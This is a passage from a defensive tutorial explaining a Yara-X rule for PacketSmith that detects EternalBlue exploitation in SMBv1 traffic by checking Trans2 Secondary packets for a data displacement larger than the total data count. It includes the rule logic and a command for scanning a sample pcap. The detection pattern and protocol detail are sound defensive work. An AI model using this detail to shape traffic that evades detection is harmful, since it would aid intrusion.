      $smb_trans2 = { ff 53 4d 42 33 00 00 00 00 }

    condition:
	
	  tcp.is_set and flow.to_server and (port.dst == 445 or port.dst == 139)
	  and
	  with smb_pkt = tcp.data.offset + 4:
	  (
		// early exit
		$smb_trans2 at smb_pkt
		and
		with total_data_count  = uint16(smb_pkt + 9 + 26),
		     data_displacement = uint16(smb_pkt + 9 + 38):		   
		(
			data_displacement > total_data_count
		)
	  )
}

The first line in the detection logic should be self-explanatory: tcp.is_set and flow.to_server and (port.dst == 445 or port.dst == 139). Since we are using the frames filter, which checks every packet, it is advised to use the Boolean expression tcp.is_set to ensure that we are dealing with a TCP packet.

The aliased smb_pkt offset in (smb_pkt = tcp.data.offset + 4) skips the first 4 bytes, which is the NetBIOS Session service. With this expression: $smb_trans2 at smb_pkt, the rule checks for the SMBv1 server component “SMB” with the command Trans2 Secondary (0×33), followed by the NT Status equal to Statuc_Success (0×00000000). This is an atomic early-exit signal, so we filter out all other SMB packets as early as possible.

What follows is the actual detection logic related to the vulnerability, where the data_displacement > total_data_count.

Take the pcap (eternalblue-success-unpatched-win7.pcap) as an example.

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as an XML Workbook, we get the file yara_dte_2026_02_12_12_34_06.xml (use MS Excel to view it) with all the detections:

PacketSmith.exe -i eternalblue-success-unpatched-win7.pcap -D yara:xml -F frames: -O .

Conclusion

In conclusion, detecting EternalBlue exploitation requires a deep understanding of network protocols and the ability to analyze packet data effectively. By leveraging the capabilities of PacketSmith and Yara-X, security professionals can create custom rules to identify anomalies indicative of this exploit. The integration of these tools allows for precise detection by focusing on specific patterns and behaviours within network traffic, such as the SMBv1 protocol's data displacement issue.

Author: Mohamad Mokbel

First release: February 12, 2026